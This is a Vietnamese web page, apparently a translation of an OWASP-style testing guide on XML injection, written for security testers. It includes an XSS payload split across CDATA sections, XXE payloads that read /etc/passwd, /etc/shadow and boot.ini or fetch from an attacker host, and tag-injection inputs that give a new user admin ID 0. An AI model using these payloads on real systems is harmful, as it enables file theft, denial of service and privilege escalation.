Rate this post

Kiểm thử XML Injection là khi người kiểm tra cố gắng đưa một tài liệu XML vào ứng dụng. Nếu trình phân tích cú pháp XML không xác thực được dữ liệu theo ngữ cảnh, thì quá trình kiểm tra sẽ mang lại kết quả không lường trước.

Các bài viết liên quan:

Phần này mô tả các ví dụ thực tế về XML Injection. Đầu tiên, một giao tiếp kiểu XML sẽ được định nghĩa và giải thích các nguyên tắc hoạt động của nó. Sau đó, phương pháp khám phá mà chúng tôi cố gắng chèn siêu ký tự XML. Khi bước đầu tiên được hoàn thành, người kiểm tra sẽ có một số thông tin về cấu trúc XML, vì vậy có thể thử đưa vào dữ liệu và thẻ XML (Tag Injection).

Mục tiêu kiểm tra

Xác định các điểm chèn XML.

Đánh giá các loại khai thác có thể đạt được và mức độ nghiêm trọng của chúng.

Làm thế nào để kiểm tra

Giả sử có một ứng dụng web sử dụng giao tiếp kiểu XML để thực hiện đăng ký người dùng. Điều này được thực hiện bằng cách tạo và thêm người dùng mới> nút trong tệp xmlDb.

Giả sử tệp xmlDB giống như sau:

<?xml version="1.0" encoding="ISO-8859-1"?>
<users>
    <user>
        <username>gandalf</username>
        <password>!c3</password>
        <userid>0</userid>
        <mail>gandalf@middleearth.com</mail>
    </user>
    <user>
        <username>Stefan0</username>
        <password>w1s3c</password>
        <userid>500</userid>
        <mail>Stefan0@whysec.hmm</mail>
    </user>
</users>

Khi người dùng tự đăng ký bằng cách điền vào biểu mẫu HTML, ứng dụng sẽ nhận dữ liệu của người dùng trong một yêu cầu tiêu chuẩn, vì lý do đơn giản, dữ liệu này sẽ được gửi dưới dạng yêu cầu GET.

Xem thêm BlockChain: xây dựng ứng dụng DApp với Ethereum

Ví dụ, các giá trị sau:

Username: tony
Password: Un6R34kb!e
E-mail: s4tan@hell.com

sẽ đưa ra yêu cầu:

http://www.example.com/addUser.php?username=tony&amp;password=Un6R34kb!e&amp;email=s4tan@hell.com

Sau đó, ứng dụng sẽ xây dựng nút sau:

<user>
    <username>tony</username>
    <password>Un6R34kb!e</password>
    <userid>500</userid>
    <mail>s4tan@hell.com</mail>
</user>

sẽ được thêm vào xmlDB:

<?xml version="1.0" encoding="ISO-8859-1"?>
<users>
    <user>
        <username>gandalf</username>
        <password>!c3</password>
        <userid>0</userid>
        <mail>gandalf@middleearth.com</mail>
    </user>
    <user>
        <username>Stefan0</username>
        <password>w1s3c</password>
        <userid>500</userid>
        <mail>Stefan0@whysec.hmm</mail>
    </user>
    <user>
    <username>tony</username>
    <password>Un6R34kb!e</password>
    <userid>500</userid>
    <mail>s4tan@hell.com</mail>
    </user>
</users>

Khám phá

Bước đầu tiên để kiểm tra ứng dụng về sự hiện diện của lỗ hổng XML Injection bao gồm cố gắng chèn các siêu ký tự XML.

Các siêu ký tự XML là:

Dấu nháy đơn: ‘- Khi không được làm sạch, ký tự này có thể ném một ngoại lệ trong quá trình phân tích cú pháp XML, nếu giá trị được đưa vào sẽ là một phần của giá trị thuộc tính trong thẻ.

Ví dụ: giả sử có thuộc tính sau:

&lt;node property = '$ inputValue' /&gt;

Do đó, nếu:

inputValue = foo '

được khởi tạo và sau đó được chèn dưới dạng giá trị phân bổ:

&lt;node adj = 'foo' '/&gt;

sau đó, tài liệu XML kết quả không được định dạng tốt.

Dấu ngoặc kép: “- ký tự này có cùng ý nghĩa với dấu ngoặc kép và nó có thể được sử dụng nếu giá trị thuộc tính được đặt trong dấu ngoặc kép.

&lt;node property = "$ inputValue" /&gt;

Do đó, nếu:

$ inputValue = foo "

sự thay thế mang lại:

&lt;node adj = "foo" "/&gt;

và tài liệu XML kết quả không hợp lệ.

Dấu ngoặc đơn:> và <- Bằng cách thêm dấu ngoặc đơn mở hoặc đóng vào đầu vào của người dùng như sau:

Username = foo&lt;

ứng dụng sẽ xây dựng một nút mới:

<user>
    <username>foo<</username>
    <password>Un6R34kb!e</password>
    <userid>500</userid>
    <mail>s4tan@hell.com</mail>
</user>

nhưng, do sự hiện diện của ký tự mở ‘<’, tài liệu XML kết quả không hợp lệ.

Thẻ comment: <! – / -> – Dãy ký tự này được hiểu là phần đầu / phần cuối của một comment. Vì vậy, bằng cách đưa một trong số chúng vào tham số Tên người dùng:

Username = foo<!--

ứng dụng sẽ xây dựng một nút như sau:

<user>
    <username>foo<!--</username>
    <password>Un6R34kb!e</password>
    <userid>500</userid>
    <mail>s4tan@hell.com</mail>
</user>

sẽ không phải là một chuỗi XML hợp lệ.

Ký hiệu và: & – Dấu và được sử dụng trong cú pháp XML để đại diện cho các thực thể. Định dạng của một thực thể là & ký hiệu ;. Một thực thể được ánh xạ tới một ký tự trong bộ ký tự Unicode.

Ví dụ:

<tagnode>&lt;</tagnode>

được định dạng tốt và hợp lệ, và đại diện cho ký tự <ASCII.

Nếu & không được tự mã hóa bằng & amp ;, thì nó có thể được sử dụng để kiểm tra việc đưa vào XML.

Trên thực tế, nếu một đầu vào như sau được cung cấp:

Username = &foo

một nút mới sẽ được tạo:

<user>
    <username>&foo</username>
    <password>Un6R34kb!e</password>
    <userid>500</userid>
    <mail>s4tan@hell.com</mail>
</user>

nhưng, một lần nữa, tài liệu không hợp lệ: & foo không được kết thúc bằng; và & foo; thực thể là không xác định.

Dấu phân cách phần CDATA: <! \ [CDATA \ [/]]> – Các phần CDATA được sử dụngđể thoát khỏi các khối văn bản có chứa các ký tự mà nếu không sẽ được nhận dạng là đánh dấu. Nói cách khác, các ký tự nằm trong phần CDATA không được phân tích cú pháp bởi trình phân tích cú pháp XML.

Ví dụ: nếu cần biểu diễn chuỗi <foo> bên trong nút văn bản, phần CDATA có thể được sử dụng:

<node>
    <![CDATA[<foo>]]>
</node>

để <foo> sẽ không được phân tích cú pháp dưới dạng đánh dấu và sẽ được coi là dữ liệu ký tự.

Nếu một nút được tạo theo cách sau:

<username><![CDATA[<$userName]]></username>

người kiểm tra có thể cố gắng chèn chuỗi CDATA cuối]]> để cố gắng làm mất hiệu lực của tài liệu XML.

userName =]]&gt;

điều này sẽ trở thành:

<username><![CDATA[]]>]]></username>

mà không phải là một phân đoạn XML hợp lệ.

Một thử nghiệm khác liên quan đến thẻ CDATA. Giả sử rằng tài liệu XML được xử lý để tạo ra một trang HTML. Trong trường hợp này, các dấu phân cách phần CDATA có thể bị loại bỏ một cách đơn giản mà không cần kiểm tra thêm nội dung của chúng. Sau đó, có thể chèn các thẻ HTML, thẻ này sẽ được đưa vào trang đã tạo, bỏ qua hoàn toàn các quy trình vệ sinh hiện có.

Hãy xem xét một ví dụ cụ thể. Giả sử chúng ta có một nút chứa một số văn bản sẽ được hiển thị lại cho người dùng.

<html>
    $HTMLCode
</html>

Sau đó, kẻ tấn công có thể cung cấp thông tin đầu vào sau:

$HTMLCode = <![CDATA[<]]>script<![CDATA[>]]>alert('xss')<![CDATA[<]]>/script<![CDATA[>]]>

và lấy nút sau:

<html>
    <![CDATA[<]]>script<![CDATA[>]]>alert('xss')<![CDATA[<]]>/script<![CDATA[>]]>
</html>

Trong quá trình xử lý, các dấu phân cách phần CDATA bị loại bỏ, tạo ra mã HTML sau:

<script>
    alert('XSS')
</script>

Kết quả là ứng dụng dễ bị tấn công bởi XSS.

Thực thể bên ngoài: Tập hợp các thực thể hợp lệ có thể được mở rộng bằng cách xác định các thực thể mới. Nếu định nghĩa của một thực thể là một URI, thì thực thể đó được gọi là một thực thể bên ngoài. Trừ khi được định cấu hình để làm theo cách khác, các thực thể bên ngoài buộc trình phân tích cú pháp XML truy cập vào tài nguyên do URI chỉ định, ví dụ: một tệp trên máy cục bộ hoặc trên hệ thống từ xa. Hành vi này khiến ứng dụng bị tấn công XML eXternal Entity (XXE), có thể được sử dụng để thực hiện từ chối dịch vụ của hệ thống cục bộ, truy cập trái phép vào các tệp trên máy cục bộ, quét các máy từ xa và thực hiện từ chối dịch vụ của các hệ thống từ xa .

Để kiểm tra lỗ hổng XXE, người ta có thể sử dụng đầu vào sau:

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [ <!ELEMENT foo ANY >
        <!ENTITY xxe SYSTEM "file:///dev/random" >]>
        <foo>&xxe;</foo>

Thử nghiệm này có thể làm hỏng máy chủ web (trên hệ thống UNIX), nếu trình phân tích cú pháp XML cố gắng thay thế thực thể bằng nội dung của tệp / dev / random.

Các bài kiểm tra hữu ích khác như sau:

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [ <!ELEMENT foo ANY >
        <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [ <!ELEMENT foo ANY >
        <!ENTITY xxe SYSTEM "file:///etc/shadow" >]><foo>&xxe;</foo>

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [ <!ELEMENT foo ANY >
        <!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [ <!ELEMENT foo ANY >
        <!ENTITY xxe SYSTEM "http://www.attacker.com/text.txt" >]><foo>&xxe;</foo>

Tag Injection

Khi bước đầu tiên được hoàn thành, người kiểm tra sẽ có một số thông tin về cấu trúc của tài liệu XML. Sau đó, có thể thử chèn các thẻ và dữ liệu XML. Chúng tôi sẽ đưa ra một ví dụ về cách điều này có thể dẫn đến một cuộc tấn công leo thang đặc quyền.

Hãy xem xét ứng dụng trước. Bằng cách chèn các giá trị sau:

Username: tony
Password: Un6R34kb!e
E-mail: s4tan@hell.com</mail><userid>0</userid><mail>s4tan@hell.com

ứng dụng sẽ tạo một nút mới và nối nó vào cơ sở dữ liệu XML:

<?xml version="1.0" encoding="ISO-8859-1"?>
<users>
    <user>
        <username>gandalf</username>
        <password>!c3</password>
        <userid>0</userid>
        <mail>gandalf@middleearth.com</mail>
    </user>
    <user>
        <username>Stefan0</username>
        <password>w1s3c</password>
        <userid>500</userid>
        <mail>Stefan0@whysec.hmm</mail>
    </user>
    <user>
        <username>tony</username>
        <password>Un6R34kb!e</password>
        <userid>500</userid>
        <mail>s4tan@hell.com</mail>
        <userid>0</userid>
        <mail>s4tan@hell.com</mail>
    </user>
</users>

Tệp XML kết quả được định dạng tốt. Hơn nữa, có khả năng là, đối với người dùng tony, giá trị được liên kết với thẻ userid là giá trị xuất hiện cuối cùng, tức là 0 (ID quản trị). Nói cách khác, chúng tôi đã cấp cho người dùng các đặc quyền quản trị.

Vấn đề duy nhất là thẻ userid xuất hiện hai lần trong nút người dùng cuối cùng. Thông thường, các tài liệu XML được liên kết với một lược đồ hoặc một DTD và sẽ bị từ chối nếu chúng không tuân thủ nó.

Giả sử rằng tài liệu XML được chỉ địnhbởi DTD sau:

<!DOCTYPE users [
    <!ELEMENT users (user+) >
    <!ELEMENT user (username,password,userid,mail+) >
    <!ELEMENT username (#PCDATA) >
    <!ELEMENT password (#PCDATA) >
    <!ELEMENT userid (#PCDATA) >
    <!ELEMENT mail (#PCDATA) >
]>

Lưu ý rằng nút userid được định nghĩa với cardinality 1. Trong trường hợp này, cuộc tấn công mà chúng tôi đã trình bày trước đây (và các cuộc tấn công đơn giản khác) sẽ không hoạt động, nếu tài liệu XML được xác thực dựa trên DTD của nó trước khi bất kỳ quá trình xử lý nào xảy ra.

Tuy nhiên, vấn đề này có thể được giải quyết, nếu người kiểm tra kiểm soát giá trị của một số nút trước nút vi phạm (trong ví dụ này là userid). Trên thực tế, người kiểm tra có thể nhận xét về nút như vậy, bằng cách đưa vào chuỗi bắt đầu / kết thúc nhận xét:

Username: tony
Password: Un6R34kb!e</password><!--
E-mail: --><userid>0</userid><mail>s4tan@hell.com

Trong trường hợp này, cơ sở dữ liệu XML cuối cùng là:

<?xml version="1.0" encoding="ISO-8859-1"?>
<users>
    <user>
        <username>gandalf</username>
        <password>!c3</password>
        <userid>0</userid>
        <mail>gandalf@middleearth.com</mail>
    </user>
    <user>
        <username>Stefan0</username>
        <password>w1s3c</password>
        <userid>500</userid>
        <mail>Stefan0@whysec.hmm</mail>
    </user>
    <user>
        <username>tony</username>
        <password>Un6R34kb!e</password><!--</password>
        <userid>500</userid>
        <mail>--><userid>0</userid><mail>s4tan@hell.com</mail>
    </user>
</users>

Nút userid ban đầu đã bị loại bỏ, chỉ còn lại nút được chèn vào. Tài liệu hiện tuân thủ các quy tắc DTD của nó.

Đánh giá mã nguồn

API Java sau có thể dễ bị tấn công bởi XXE nếu chúng không được định cấu hình đúng cách.

javax.xml.parsers.DocumentBuilder
javax.xml.parsers.DocumentBuildFactory
org.xml.sax.EntityResolver
org.dom4j.*
javax.xml.parsers.SAXParser
javax.xml.parsers.SAXParserFactory
TransformerFactory
SAXReader
DocumentHelper
SAXBuilder
SAXParserFactory
XMLReaderFactory
XMLInputFactory
SchemaFactory
DocumentBuilderFactoryImpl
SAXTransformerFactory
DocumentBuilderFactoryImpl
XMLReader
Xerces: DOMParser, DOMParserImpl, SAXParser, XMLParser

Kiểm tra mã nguồn nếu docType, DTD bên ngoài và các thực thể tham số bên ngoài được đặt là mục đích sử dụng bị cấm.

Ngoài ra, trình đọc văn phòng Java POI có thể dễ bị tấn công bởi XXE nếu phiên bản dưới 3.10.1.

Phiên bản của thư viện POI có thể được xác định từ tên tệp của JAR. Ví dụ,

  • poi-3.8.jar
  • poi-ooxml-3.8.jar

Từ khóa mã nguồn sau đây có thể áp dụng cho C.

libxml2: xmlCtxtReadMemory, xmlCtxtUseOptions, xmlParseInNodeContext, xmlReadDoc, xmlReadFd, xmlReadFile, xmlReadIO, xmlReadMemory, xmlCtxtReadDoc, xmlCtxtReadFd, xmlCIO

libxerces-c: XercesDOMParser, SAXParser, SAX2XMLReader

Công cụ

Trả lời

Email của bạn sẽ không được hiển thị công khai. Các trường bắt buộc được đánh dấu *

Contact Me on Zalo
Call now